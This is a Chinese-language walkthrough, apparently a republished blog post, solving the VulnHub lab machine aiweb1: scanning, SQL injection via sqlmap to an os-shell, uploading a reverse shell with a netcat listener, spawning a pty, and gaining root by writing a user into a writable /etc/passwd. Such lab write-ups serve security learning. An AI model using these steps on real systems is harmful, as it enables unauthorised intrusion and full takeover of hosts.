首页 网络安全 渗透测试 查看内容

黑客技术入门之靶机实战:aiweb1

2020-5-12 13:30 |来自: 互联网 2291 0

摘要: 所谓靶机,即模拟的真实网络环境,我们要做的就是利用黑客技术攻破这台机器。引言一直想写个系列文章来着,不过奈何水平有限再加上最近手头杂事有点多就搁置了。今天把这个靶机的wp整理一下,如果有不恰当的地方,请 ...
关键词: 文件 靶机 口令 加密 天数 密码 shell 目录 用户


一直想写个系列文章来着,不过奈何水平有限再加上最近手头杂事有点多就搁置了。今天把这个靶机的wp整理一下,如果有不恰当的地方,请各位师傅斧正。

靶机:aiweb1
URL: http://download.vulnhub.com/aiweb/AI-Web-1.0.7z
  1. 导入虚拟机,不用做多余配置。网络设置为NAT,开启DHCP。
  2. 查看靶机IP

使用nmap扫描该网段,找到运行web服务的靶机ip

通过nmap扫描结果得到192.168.26.137为靶机IP,访问80端口

  1. 敏感文件搜集
    首页并没有什么有用的信息,让我们祭出神器扫描一波目录看看有没有敏感信息。
    找到一个禁止爬虫爬取的规则文件robots.txt
    发现了两个奇怪的目录,把他们都丢进神器再扫一波
    在m3diNf0目录下发现敏感文件info.php,其实就是个phpinfo文件,从这个文件里得到中间件版本和最重要的一个信息网站根目录
    接着扫描第二个se3reTdir777目录
    除了已知的uploads目录之外,存在一个index.php文件,浏览器打开

习惯性的一个单引号丢进去

报错就说明post注入有戏,上burp

注意这里使用的是burp中的插件CO2,链接了sqlmap,如果你没有装这个插件,可以在BApp Store中安装,或者直接使用sqlmap

得到数据库aiweb1

里面还是有些演示数据,但是并没有什么用,所以我们直接尝试shell

custom location参数为网站的绝对路径,得到os-shell

成功后得到sqlmap生成的文件上传脚本URL

使用这个文件上传一个反弹shell到目标服务器

上传之前修改shell的参数和端口

$ip = '攻击者IP';  // CHANGE THIS
$port = 4444; // CHANGE THIS

上传成功

访问shell的URL地址,同时使用nc -lvvp 4444监听4444端口,shell反弹成功

如果你的电脑中没有nc这个命令,说明你可能没有安装**netcat**

whoami显示我们目前的登录账号为www-data,同时www-data用户对/etc/passwd具有写权限

那么我们可以通过修改/etc/passwd文件实现添加一个root权限的新用户来实现提权操作,另外因为我们后面需要用到的su,命令必须是在终端环境中才能运行,所以需要使用python的pty库实现一个伪终端操作。命令为python -c 'import pty; pty.spawn("/bin/bash")'

Linux中用户的密码实际是保存在/etc/shadow文件内,但是一般情况下提权之前没办法读取到文件内容,且密码经过加密,所以我们现在需要向/etc/passwd文件中写入一个含有已加密密码的具有root权限的用户信息,然后Linux会将这个用户信息更新到/etc/shadow文件内,即完成了提权操作。/etc/shadow文件格式:{用户名}:{加密后的口令密码}:{口令最后修改时间距原点(1970-1-1)的天数}:{口令最小修改间隔(防止修改口令,如果时限未到,将恢复至旧口令):{口令最大修改间隔}:{口令失效前的警告天数}:{账户不活动天数}:{账号失效天数}:{保留}crypt()函数原型char *crypt(const char *key, const char *salt);其中salt加密参数为某个固定长度的字符串

这样我们就得到了一个加密后的密码,组合写入/etc/passwd文件中,su提权为root

得到flag

注:本文首发自SECIN社区

公众号:长点芝士

本文出处: https://www.toutiao.com/a6824739586200044039/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部